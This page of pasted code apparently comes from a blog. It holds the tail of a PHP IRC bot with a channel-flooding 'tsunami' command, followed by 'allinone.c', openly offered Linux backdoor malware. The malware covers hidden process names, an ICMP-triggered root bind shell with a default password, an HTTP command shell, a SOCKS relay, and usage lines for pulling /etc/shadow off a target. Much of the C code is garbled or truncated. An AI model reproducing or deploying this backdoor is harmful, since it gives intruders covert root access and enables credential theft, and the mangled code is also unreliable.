if ($auth["$dNick"]["auth"]==2) {

fputs($fp,’PRIVMSG ‘.$chan.’ :’.$awaymsg.’ siap!’ . CRL);

} else { fputs($fp,’PRIVMSG ‘.$chan.’ :’ . CRL); }

} elseif ($auth["$dNick"]["auth"]==2) {

if ($com[3]==’:`say’ && $com[4] && $chan) {

$msg = strstr($data,”:`say”);

$msg = str_replace(“:`say “,”",$msg);

fputs($fp,’PRIVMSG ‘.$chan.’ :’.$msg. CRL);

}

elseif ($com[3]==’:`dns’ && $com[4]) {

$com[4] = strtolower($com[4]);

if ($com[4]==”on”) { $dns = “on”; fputs($fp, ‘PRIVMSG ‘.$dNick.’ :D NS Resolver Command is now ‘.$dns . CRL); }

elseif ($com[4]==”off”) { $dns = “off”; fputs($fp, ‘PRIVMSG ‘.$dNick.’ :D NS Resolver Command is now ‘.$dns . CRL); }

}

elseif ($com[3]==’:`whois’ && $com[4]) {

$com[4] = strtolower($com[4]);

if ($com[4]==”on”) { $wdomain = “on”; fputs($fp, ‘PRIVMSG ‘.$dNick.’ :Whois Domain Command is now ‘.$wdomain . CRL); }

elseif ($com[4]==”off”) { $wdomain = “off”; fputs($fp, ‘PRIVMSG ‘.$dNick.’ :Whois Domain Command is now ‘.$wdomain . CRL); }

}

elseif ($com[3]==’:`astrologi’ && $com[4]) {

$com[4] = strtolower($com[4]);

if ($com[4]==”on”) { $astrologi = “on”; fputs($fp, ‘PRIVMSG ‘.$dNick.’ :Astrologi Command is now ‘.$astrologi . CRL); }

elseif ($com[4]==”off”) { $astrologi = “off”; fputs($fp, ‘PRIVMSG ‘.$dNick.’ :Astrologi Command is now ‘.$astrologi . CRL); }

}

elseif ($com[3]==’:`act’ && $com[4] && $chan) {

$msg = strstr($data,”:`act”);

$msg = str_replace(“:`act “,”",$msg);

fputs($fp,’PRIVMSG ‘.$chan.’ :ACTION ‘.$msg.’’. CRL);

}

elseif ($com[3]==’:`slap’ && $com[4] && $chan) {

fputs($fp,’PRIVMSG ‘.$chan.’ :ACTION slaps ‘.$com[4].’ around a bit with a large trout’. CRL);

}

elseif ($com[3]==’:`msg’ && $com[4] && $com[5]) {

$msg = strstr($data,”:`msg”);

$msg = str_replace(“:`msg $com[4] “,”",$msg);

fputs($fp,’PRIVMSG ‘.$com[4].’ :’.$msg. CRL);

}

elseif ($com[3]==’:`notice’ && $com[4] && $com[5]) {

$msg = strstr($data,”:`notice”);

$msg = str_replace(“:`notice $com[4] “,”",$msg);

fputs($fp,’NOTICE ‘.$com[4].’ :’.$msg. CRL);

}

elseif ($com[3]==’:`ctcp’ && $com[4] && $com[5]) {

$msg = strstr($data,”:`ctcp”);

$msg = str_replace(“:`ctcp $com[4] “,”",$msg);

fputs($fp,’PRIVMSG ‘.$com[4].’ :’.$msg.’’. CRL);

}

elseif ($com[3]==’:`ping’ && $chan) {

$sml = $smile[rand(0,count($smile) - 1)];

fputs($fp,’PRIVMSG ‘.$chan.’ :’.$dNick.’, PONG! ‘.$sml. CRL);

}

elseif ($com[3]==’:`pong’ && $chan) {

$sml = $smile[rand(0,count($smile) - 1)];

fputs($fp,’PRIVMSG ‘.$chan.’ :’.$dNick.’, PING! ‘.$sml. CRL);

}

elseif ($com[3]==’:`info’ && $auth["$dNick"]["status"]==”Admin”) {

$bhost = $_SERVER['HTTP_HOST'];

$bphp = $_SERVER['PHP_SELF'];

fputs($fp,’PRIVMSG ‘.$dNick.’ :Bot Host: ‘.$bhost.’, Bot PHP: ‘.$bphp. CRL);

}

elseif ($com[3]==’:`up’ && $chan) {

fputs($fp, ‘PRIVMSG chanserv@services.dal.net :o p ‘.$chan.’ ‘.$nick . CRL);

}

elseif ($com[3]==’:`down’ && $chan) {

fputs($fp, ‘MODE ‘.$chan.’ +v-o ‘.$nick.’ ‘.$nick . CRL);

}

elseif ($com[3]==’:`tsunami’ && $com[4] && $auth["$dNick"]["status"]!=”user”) {

$msg = strstr($data,”:`tsunami”);

$msg = str_replace(“:`tsunami $com[4]“,”",$msg);

if (ereg(“#”, $com[4])) {

fputs($fp, ‘JOIN ‘.$com[4] . CRL);

}

fputs($fp, ‘PRIVMSG ‘.$com[4].’ :’.$msg.’’ . CRL);

fputs($fp, ‘NOTICE ‘.$com[4].’ :’.$msg.’’ . CRL);

fputs($fp, ‘PRIVMSG ‘.$com[4].’ :TSUNAMI ’.$msg.’’ . CRL);

fputs($fp, ‘PRIVMSG ‘.$com[4].’ :’.$msg.’’ . CRL);

fputs($fp, ‘NOTICE ‘.$com[4].’ :’.$msg.’’ . CRL);

fputs($fp, ‘PRIVMSG ‘.$com[4].’ :FLOOD ’.$msg.’’ . CRL);

if (ereg(“#”, $com[4])) {

fputs($fp, ‘PART ‘.$com[4].’ :’.$msg . CRL);

}

}

elseif ($com[3]==’:`cycle’ && $chan && $auth["$dNick"]["status"]!=”user”) {

$msg = strstr($data,”:`cycle”);

if (ereg(“#”, $com[4])) {

$partchan = $com[4];

$msg = str_replace(“:`cycle $com[4]“,”",$msg);

} else {

$partchan = $chan;

$msg = str_replace(“:`cycle”,”",$msg);

}

if (strlen($msg)<3) {

$msg = $cyclem[rand(0,count($cyclem) - 1)];

}

fputs($fp, ‘PART ‘.$partchan.’ :’.$msg . CRL);

fputs($fp, ‘JOIN ‘.$partchan . CRL);

}

elseif ($com[3]==’:`part’ && $auth["$dNick"]["status"]==”Admin”) {

$msg = strstr($data,”:`part”);

if (ereg(“#”, $com[4])) {

$partchan = $com[4];

$msg = str_replace(“:`part $com[4]“,”",$msg);

} else {

$partchan = $chan;

$msg = str_replace(“:`part”,”",$msg);

}

if (strlen($msg)<3) {

$msg = $partm[rand(0,count($partm) - 1)];

}

fputs($fp, ‘PART ‘.$partchan.’ :’.$msg . CRL);

$remchan = strtolower($partchan);

if (in_array($remchan, $channel)) {

$channels = str_replace(“$remchan “,”",$channels);

unset($channel);

$channel = explode(” “, $channels);

}

foreach ($channel as $v) {

fputs($fp, ‘JOIN ‘.$v . CRL);

}

}

elseif ($com[3]==’:`join’ && $com[4] && $auth["$dNick"]["status"]==”Admin”) {

if (!ereg(“#”,$com[4])) { $com[4]=”#”.$com[4]; }

// fputs($fp, ‘JOIN ‘ .$com[4]. CRL);

$addchan = strtolower($com[4]);

if (!in_array($addchan, $channel)) {

$channel[]=$addchan;

$channels.=”$addchan “;

}

foreach ($channel as $v) {

sleep(rand(1,6));

fputs($fp, ‘JOIN ‘.$v . CRL);

}

}

elseif ($com[3]==’:`botnick’ && $com[4] && !$chan && $auth["$dNick"]["status"]==”Admin”) {

$nick = $com[4];

$identify = $com[5];

fputs($fp, ‘NICK ‘.$nick . CRL);

fputs($fp, ‘PRIVMSG nickserv@services.dal.net :identify ‘.$nick.’ ‘.$identify. CRL);

}

elseif ($com[3]==’:`k’ && $com[4] && $chan) {

$msg = strstr($data,”:`k”);

$msg = str_replace(“:`k $com[4]“,”",$msg);

fputs($fp, ‘KICK ‘.$chan.’ ‘.$com[4].’ :’.$msg . CRL);

}

elseif ($com[3]==’:`kb’ && $com[4] && $chan) {

$msg = strstr($data,”:`kb”);

$msg = str_replace(“:`kb $com[4]“,”",$msg);

fputs($fp, ‘KICK ‘.$chan.’ ‘.$com[4].’ :’.$msg . CRL);

fputs($fp, ‘MODE ‘.$chan.’ +b ‘.$com[4] . CRL);

}

elseif ($com[3]==’:`op’ && $chan) {

if ($com[4]) { $opnick = $com[4]; }

else { $opnick = $dNick; }

fputs($fp, ‘MODE ‘.$chan.’ +ooo ‘.$opnick.’ ‘.$com[5].’ ‘.$com[6] . CRL);

}

elseif ($com[3]==’:`deop’ && $chan) {

if ($com[4]) { $opnick = $com[4]; }

else { $opnick = $dNick; }

fputs($fp, ‘MODE ‘.$chan.’ -o+v-oo ‘.$opnick.’ ‘.$opnick.’ ‘.$com[5].’ ‘.$com[6] . CRL);

}

elseif ($com[3]==’:`v’ && $chan) {

if ($com[4]) { $vonick = $com[4]; }

else { $vonick = $dNick; }

fputs($fp, ‘MODE ‘.$chan.’ +vvv ‘.$vonick.’ ‘.$com[5].’ ‘.$com[6] . CRL);

}

elseif ($com[3]==’:`dv’ && $chan) {

if ($com[4]) { $vonick = $com[4]; }

else { $vonick = $dNick; }

fputs($fp, ‘MODE ‘.$chan.’ -vvv ‘.$vonick.’ ‘.$com[5].’ ‘.$com[6] . CRL);

}

elseif ($com[3]==’:`detik’ && $com[4] && $auth["$dNick"]["status"]==”Admin”) {

if ($com[4]==”on”) { $dnews = “on”; }

elseif ($com[4]==”off”) { $dnews = “off”; }

fputs($fp, ‘PRIVMSG ‘.$dNick.’ :D etik News is now ‘.$dnews . CRL);

}

elseif ($com[3]==’:`log’ && $com[4] && $auth["$dNick"]["status"]==”Admin”) {

if ($com[4]==”on”) { $log = “on”; }

elseif ($com[4]==”off”) { $log = “off”; }

fputs($fp, ‘PRIVMSG ‘.$dNick.’ :Query/Inviter LoG to Admin is now ‘.$log . CRL);

}

elseif ($com[3]==’:`awaymsg’ && $auth["$dNick"]["status"]==”Admin”) {

$msg = strstr($data,”:`awaymsg”);

$msg = str_replace(“:`awaymsg”,”",$msg);

if (strlen($msg)3) {

$msg = str_replace(” “,”_”,$msg);

}

fputs($fp, ‘QUIT ‘.$awaymsg.’ Kena ShutDown(‘.$msg.’)’ . CRL);

$keluar = 1;

exit;

}

elseif ($com[3]==’:`vhost’ && $auth["$dNick"]["status"]==”Admin”) {

if ($com[4]) { $localhost = $com[4]; }

else { $localhost = ‘localhost’; }

$keluar = 0;

fputs($fp, ‘QUIT ‘.$awaymsg.’ Changed_vHoST(‘.$localhost.’)’ . CRL);

}

elseif ($com[3]==’:`jump’ && $auth["$dNick"]["status"]==”Admin”) {

if (!eregi(“.dal.net”,$com[4])) {

$remotehost = “irc.dal.net”;

} else { $remotehost = $com[4]; }

$keluar = 0;

fputs($fp, ‘QUIT ‘.$awaymsg.’ Changed_Server(‘.$remotehost.’)’ . CRL);

}

elseif ($com[3]==’:`ident’ && $auth["$dNick"]["status"]==”Admin”) {

if (!$com[4]) {

$username = “Slave”.randchar(3);

} else { $username = $com[4]; }

$keluar = 0;

fputs($fp, ‘QUIT ‘.$awaymsg.’ Changed_IdentD(‘.$username.’)’ . CRL);

}

elseif ($com[3]==’:`fullname’ && $auth["$dNick"]["status"]==”Admin”) {

if (!$com[4]) {

$realname = “‘.$awaymsg.’”;

} else { $realname = $com[4]; }

$keluar = 0;

fputs($fp, ‘QUIT ‘.$awaymsg.’ Changed_FuLLNamE(‘.$realname.’)’ . CRL);

}

elseif ($com[3]==’:`topic’ && $com[4] && $chan) {

$msg = strstr($data,”:`topic”);

$msg = str_replace(“:`topic “,”",$msg);

fputs($fp, ‘TOPIC ‘.$chan.’ :’.$msg . CRL);

}

elseif ($com[3]==’:!help’ && !$chan) {

fputs($fp,’PRIVMSG ‘.$dNick.’ :4,1-0,1dompu0,14,1-’ . CRL);

fputs($fp,’PRIVMSG ‘.$dNick.’ :[ auth | !auth `auth | deauth | adduser | deluser | pass | chgpass ]’ . CRL);

fputs($fp,’PRIVMSG ‘.$dNick.’ :[ `say | `act|slap | `msg|notice|ctcp | `ping/pong | `up | `down ]’ . CRL);

fputs($fp,’PRIVMSG ‘.$dNick.’ :[ `cycle | `join | `part | `nickmode ]’ . CRL);

fputs($fp,’PRIVMSG ‘.$dNick.’ :[ `tsunami | `botnick | `k/kb | `op | `deop | `v | `dv ]’ . CRL);

fputs($fp,’PRIVMSG ‘.$dNick.’ :[ `detik|whois|astrologi|dns | `awaymsg | `mode | `chanlist | `userlist | `quit | `vhost ]’ . CRL);

fputs($fp,’PRIVMSG ‘.$dNick.’ :[ `jump | `ident | `fullname | `topic | `log ]’ . CRL);

fputs($fp,’PRIVMSG ‘.$dNick.’ :4 – End Of Help – ‘ . CRL);

}

// else { fputs($fp, ‘NOTICE ‘.$dNick.’ :Bad Command! Type: !help To Get My Help :P ‘ . CRL);

// }

} else { fputs($fp,’NOTICE ‘.$dNick.’ :P lease Auth First! Type: auth To Authorized ‘. CRL); }

}

}

elseif (!$auth["$dNick"] && !eregi(“auth”,$iText)) {

if (eregi(“www.”,$iText) || eregi(“http:”,$iText) || eregi(“join #”,$iText)) {

if (!ereg(“#”,$dCommand)) {

if ($log==”on”) {

fputs($fp,’PRIVMSG ‘. $Admin .’ :4inviter: ‘ . $dFrom . ‘2:’ .$iText. CRL);

}

$inv = strstr($dFrom,’@');

foreach ($auth as $user) {

if ($user["status"]==”user”) {

fputs($fp, ‘NOTICE ‘.$user["name"].’ :KB ‘.$chan.’ ‘.$dNick.’ ‘.$inv.’’ . CRL);

}

}

}

}

elseif (!ereg(“#”,$dCommand)) {

if ($qnick["$dNick"]!=2) {

$qnick["$dNick"]++;

$querymsg = $querym[rand(0,count($querym) - 1)];

$querymsg = str_replace(“nick”,$dNick,$querymsg);

fputs($fp,’PRIVMSG ‘.$dNick.’ :’.$querymsg . CRL);

}

if ($log==”on”) {

fputs($fp,’PRIVMSG ‘.$Admin.’ :6′ . $dFrom . ‘12:’ .$iText. CRL);

}

}

}

}

}

elseif (substr($data,0,4) == ‘PING’) {

fputs($fp,’PONG ‘ . substr($data,5) . CRL);

}

}

}

fclose ($fp);

} while ($keluar==0);

}



allinone.c
May 3, 2007, 2:31 am
Filed under: notepad

/************************************************************************
* allinone.c for HUC (2002.1)
*
* allinone.c is
* a Http server,
* a sockets transmit server,
* a shell backdoor,
* a icmp backdoor,
* a bind shell backdoor,
* a like http shell,
* it can translate file from remote host,
* it can give you a socks5 proxy,
* it can use for to attack, jumps the extension, Visits other machines.
* it can give you a root shell.:)
*
* Usage:
* compile:
* gcc -o allinone allinone.c -lpthread
* run on target:
* ./allinone
*
* 1.httpd server
* Client:
* http://target:8008/givemefile/etc/passwd
* lynx -dump http://target:8008/givemefile/etc/shadow > shadow
* or wget http://target:8008/givemefile/etc/shadow
*
* 2.icmp backdoor
* Client:
* ping -l 101 target (on windows)
* ping -s 101 -c 4 target (on linux)
* nc target 8080
* kissme:) –> your password
*
* 3.shell backdoor
* Client:
* nc target 8008
* kissme:) –> your password
*
* 4.bind a root shell on your port
* Client:
* http://target:8008/bindport:9999
* nc target 9999
* kissme:) –> your password
*
* 5.sockets transmit
* Client:
* http://target:8008/socks/:local listen port::you want to tran ip:::you want to tran port
* http://target:8008/socks/:1080::192.168.0.1:::21
* nc target 1080
*
* 6.http shell
* Client:
* http://target:8008/givemeshell:ls -al (no pipe)
*
* ps:
* All bind shell have a passwd, default is: kissme:)
* All bind shell will close, if Two minutes do not have the connection.
* All bind shell only can use one time until reactivates.
*
*
* Code by lion, e-mail: lion@cnhonker.net
* Welcome to HUC Website, Http://www.cnhonker.com
*
* Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others)
* Thx bkbll’s Transmit code, and thx Neil,con,iceblood for test.
*
************************************************************************/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define HTTPD_PORT 8008
#define BIND_PORT 8888
#define ICMP_PORT 8080
#define TRAN_PORT 1080
#define SIZEPACK 101
#define MAXSIZE 32768
#define TIMEOUT 120
#define CONNECT_NUMBER 1
#define HIDEME “[login] “
#define HIDEICMP “[su] “
#define HIDEFILE “[bash] “
#define GET_FILE “givemefile”
#define SHELL_NAME “givemeshell”
#define BIND_NAME “bindport”
#define TRAN_NAME “socks”
#define DISPART “:”
#define DISPART1 “::”
#define DISPART2 “:::”
#define PASSWORD “kissme:)” /* Change it */
#define MESSAGE “\r\n========Welcome to http://www.cnhonker.com========\r\n==========You got it, have a goodluck. :) =========\r\n\r\nYour command: “
#define GIVEPASS “\r\nEnter Your password: ”

#define max(a, b) (a)>(b)?(a) : (b)

int maxfd, infd, outfd;
unsigned char ret_buf[32768];

int daemon_init(); /* init the daemon, if success return 0 other <0 */
void sig_chid(); /* wait the child die */
int TCP_listen(); /* success return 1 else return -1 */
char* read_file(); /* return the file content as a large string, buf value like GET /index.html HTTP:/1.1 */
ssize_t writen_file(); /* writen data to socket */
int bind_shell(); /* bind a root shell to a port */
int get_shell(); /* get me the root shell */
int icmp_shell(); /* icmp backdoor */
int socks(); /* socks */
int create_socket();
int create_serv();
int client_connect();
int quit();
void out2in();
char x2c(); /* http shell */
void unescape_url();
void plustospace();

/* The main function from here */
int main(int argc, char *argv[])
{
int fd, len, i, icmp;
int csocket;
struct sockaddr_in caddr;
char readstr[4000];
char *cbuf;
pid_t pid;

/* make it to a daemon */
/*signal(SIGHUP, SIG_IGN);*/
signal(SIGCHLD, sig_chid);
daemon_init();

if((pid = fork()) == -1) exit(0);
if(pid <= 0)
{
strcpy(argv[0], HIDEICMP);
icmp_shell();
}

fd = TCP_listen(HTTPD_PORT);
if(fd <= 0) return -1;

for(;;)
{
strcpy(argv[0], HIDEME);

/* check httpd */
len = sizeof(caddr);
if((csocket = accept(fd, &caddr, &len)) < 0) continue;
if((pid = fork()) == -1) continue;
if(pid <= 0)
{
strcpy (argv[0], HIDEFILE);
i = recv(csocket, readstr, 4000,0);
if (i == -1) break;
if( readstr[ i -1 ] != ‘\n’ ) break;
readstr [i] = ”;
/*printf(“Read from client: %s \n”, readstr);*/
cbuf = read_file(readstr, csocket);
close(csocket);
}
close(csocket);
}
close(fd);
return(1);
}

/* init the daemon, if success return 0 other <0 */
int daemon_init()
{
struct sigaction act;
int i, maxfd;

if(fork() != 0) exit(0);
if(setsid() < 0) return(-1);

act.sa_handler = SIG_IGN;
/*act.sa_mask = 0;*/
act.sa_flags = 0;

sigaction(SIGHUP, &act, 0);

if(fork() != 0) exit(0);

chdir(“/”);
umask(0);
maxfd = sysconf(_SC_OPEN_MAX);
for(i=0; i0);
printf(“children %d died\n”, pid);
return;
}

/* success return 1 else return -1 */
int TCP_listen(int port)
{
struct sockaddr_in laddr ;
int fd;
socklen_t len ;
fd = socket(AF_INET, SOCK_STREAM, 0);
len = sizeof(laddr) ;
memset(&laddr, 0, len) ;
laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
laddr.sin_family = AF_INET ;
laddr.sin_port = htons(port) ;
if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1);
if(listen(fd, 5)) return(-1);
return(fd);
}

/* http server */
char * read_file(char *buf, int fd)
{
char *erro=
“Content-type: text/html\n\n”
“HTTP/1.1 404 Not Found\n”
“Date: Mon, 14 Jan 2002 03:19:55 GMT\n”
“Server: Apache/1.3.22 (Unix)\n”
“Connection: close\n”
“Content-Type: text/html\n\n”
“\n”
“\n”
404 Not Found\n”
“\n”

Not Found

\n”
“The requested URL was not found on this server.

\n”


\n”
Apache/1.3.22 Server at localhost Port 8008
\n”
“\n\n”;

char *bindok=
“Content-type: text/html\n\n”
“\n\n”
“\n”

\n”
\n”
“You get it, goodluck! :-) \n”

\n”
“\n\n”;

char *tranok=
“Content-type: text/html\n\n”
“\n\n”
“\n”

\n”
\n”
“Tran ok!\n”

\n”
“\n\n”;

char *httpok1=
“Content-type: text/html\n\n”
“\n\n”
“\n”

\n”
\n"; 

	char *httpok2=
	"

\n”
“\n\n”;

char *yourcom=
Your Command:\n”;

char *br=

\n”;

int listenp, targetp, i, j, c, bport;
char *cmd, *par, *op, *hp, *tp, *targeth, *command;
char *swap_file = “/tmp/tmp.txt”;
char *setpath = “PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:.”;
FILE *f;

/* check give me shell */
cmd = buf;
par = strstr(cmd, PASSWORD);
if(par != NULL)
{
/*printf(“Get Shell:\n”);*/
get_shell(fd);
exit(0);
}

/* check bind root shell on a port */
par = strstr(cmd, BIND_NAME);
op = strstr(cmd, DISPART);
if(par != NULL && op != NULL)
{
bport = atoi(op + strlen(DISPART));
if(bport <= 0)
bport = BIND_PORT;
/*printf(“Bind Port: %d\n”, bport);*/
write(fd, bindok, strlen(bindok));
close(fd);
bind_shell(bport);
exit(0);
}

/* check Tran code */
par = strstr(cmd, TRAN_NAME);
op = strstr(cmd, DISPART);
hp = strstr(cmd, DISPART1);
tp = strstr(cmd, DISPART2);
if(par != NULL && op != NULL && hp != NULL && tp != NULL)
{
listenp = atoi(op + strlen(DISPART));
if(listenp <= 0)
listenp = TRAN_PORT;
targetp = atoi(tp + strlen(DISPART2));
if(targetp ‘;j++;
tp[j] = ‘ ‘;j++;
for(i = 0; i 0)
{
if((nwritten = write(fd, ptr, nleft)) <= 0)
{
if(errno == EINTR)
nwritten = 0;
else
return(-1);
}
nleft -= nwritten;
ptr += nwritten;
}
return(n);
}

/* bind root shell to a port */
int bind_shell(int port)
{
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time;
char passwd[15];

struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
struct timeval testtime;

setuid(0);
setgid(0);
seteuid(0);
setegid(0);

chdir(“/”);

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (soc_des == -1)
exit(-1);

bzero((char *) &serv_addr,sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(port);

soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);

testtime.tv_sec = TIMEOUT;
testtime.tv_usec = 0;

/*setsockopt(soc_des, SOL_SOCKET, SO_RCVTIMEO, &testtime, sizeof(testtime));*/

alarm(TIMEOUT);
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);

if (soc_cli < 0)
exit(0);
alarm(0);

cli_pid = getpid();
server_pid = fork();

if (server_pid != 0)
{
write(soc_cli, GIVEPASS, strlen(GIVEPASS));
recv(soc_cli, passwd, sizeof(passwd), 0);

for (i = 0; i < strlen(passwd); i++)
{
if (passwd[i] == ‘\n’ || passwd[i] == ‘\r’)
{
passwd[i] = ”;
}
}

if (strcmp(passwd, PASSWORD) != 0)
{
close(soc_cli);
close(soc_rc);
exit(-1);
}

write(soc_cli, MESSAGE, strlen(MESSAGE));
for (i = 0; i < 3; i++)
{
dup2(soc_cli, i);
}

execl(“/bin/sh”,”sh”,(char *)0);
close(soc_cli);
close(soc_rc);
exit(1);
}
close(soc_cli);
close(soc_rc);
exit(0);
}

/* return a root shell */
int get_shell(int fd)
{
int i;
setuid(0);
setgid(0);

chdir(“/”);
write(fd, MESSAGE, strlen(MESSAGE));
for (i = 0; i p_proto)) < 0)
exit(0);

/* waiting for packets */
while(1)
{
do
{
fromlen = sizeof(from);
if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&from, &fromlen)) < 0)
printf(“”, size – 28);
}while(size != SIZEPACK + 28);

/* size == SIZEPACK, let’s bind the shell on your port :) */
switch(fork())
{
case -1:
continue;

case 0:
bind_shell(port);
exit (0);
}
}
return 1;
}

/* tran socks code */
int socks(int listenp, char *targeth, int targetp)
{
int listfd, outside, inside, size;
pthread_t thread1;
struct sockaddr_in client;

if(!(listfd = create_socket())) exit(1);
if(!(create_serv(listfd, listenp))) exit(1);

for(;;)
{
size = sizeof(struct sockaddr);
/*printf(“waiting for response………\n”);*/
if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) < 0)
{
/*printf(“accept error\n”);*/
continue;
}

/*printf(“accept a client from %s\n”, inet_ntoa(client.sin_addr));*/
if(!(infd=create_socket())) exit(1);
if(!(client_connect(infd, targeth, targetp))) quit(outfd, infd, listfd);

maxfd = max(outfd, infd) + 1;
pthread_create(&thread1, NULL, (void *)&out2in, NULL);
}
close(listfd);
}

int create_socket()
{
int sockfd;

if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0)
{
/*printf(“Create socket error\n”);*/
return(0);
}
return(sockfd);
}

int create_serv(int sockfd, int port)
{
struct sockaddr_in srvaddr;

bzero(&srvaddr, sizeof(struct sockaddr));
srvaddr.sin_port = htons(port);
srvaddr.sin_family = AF_INET;
srvaddr.sin_addr.s_addr = htonl(INADDR_ANY);

if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0)
{
/*printf(“Bind to port %d error\n”,port);*/
return(0);
}

if(listen(sockfd,CONNECT_NUMBER)h_addr);

if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr)) < 0)
{
/*printf(“connect %s:%d error\n”,server,port);*/
return(0);
}
return(1);
}

int quit(int a, int b, int c)
{
close(a);
close(b);
close(c);
exit(1);
}

void out2in()
{
struct timeval timeset;
fd_set readfd, writefd;
int result, i = 0;
char read_in1[MAXSIZE], send_out1[MAXSIZE];
char read_in2[MAXSIZE], send_out2[MAXSIZE];
int read1 = 0, totalread1 = 0, send1=0;
int read2 = 0, totalread2 = 0, send2=0;
int out_fd, in_fd;

out_fd = outfd;
in_fd = infd;

bzero(read_in1, MAXSIZE);
bzero(read_in2, MAXSIZE);
bzero(send_out1, MAXSIZE);
bzero(send_out2, MAXSIZE);

timeset.tv_sec = TIMEOUT;
timeset.tv_usec = 0;

while(1)
{
FD_ZERO(&readfd);
FD_ZERO(&writefd);

FD_SET(out_fd, &readfd);
FD_SET(in_fd, &writefd);
FD_SET(out_fd, &writefd);
FD_SET(in_fd, &readfd);

result = select(maxfd, &readfd, &writefd, NULL, ��et);
if(result < 0)
{
/*printf(“select error\n”);*/
return;
}
else
if(result == 0)
{
/*printf(“time out\n”);*/
return;
}

if(FD_ISSET(out_fd, &readfd))
{
read1 = recv(out_fd, read_in1, MAXSIZE, 0);
if(read1 == 0) break;
if(read1 0)
{
send1 = write(in_fd, send_out1, totalread1);
if(send1 == 0)break;
if(send1 < 0)
{
/*printf(“unknow error\n”);*/
continue;
}
totalread1 -= send1;
}
bzero(send_out1, MAXSIZE);
}

if(FD_ISSET(in_fd, &readfd))
{
read2 = recv(in_fd, read_in2, MAXSIZE, 0);
if(read2 == 0) break;
if(read2 0)
{
send2 = write(out_fd, send_out2, totalread2);
if(send2 == 0) break;
if(send2 = ‘A’ ? ((what[0] & 0xdf) – ‘A’)+10 : (what[0] – ‘0′));
digit *= 16;
digit += (what[1] >= ‘A’ ? ((what[1] & 0xdf) – ‘A’)+10 : (what[1] – ‘0′));
return (digit);
}

void unescape_url(char *url)
{
register int x, y;

for(x = 0 , y = 0; url[y]; ++x, ++y)
{
if((url[x] = url[y]) == ‘%’)
{
url[x] = x2c(&url[y + 1]);
y += 2;
}
}
url[x] = ”;
}

void plustospace(char *str)
{
register int x;

for(x = 0; str[x]; x++)
if (str[x] == ‘+’)
str[x] = ‘ ‘;
}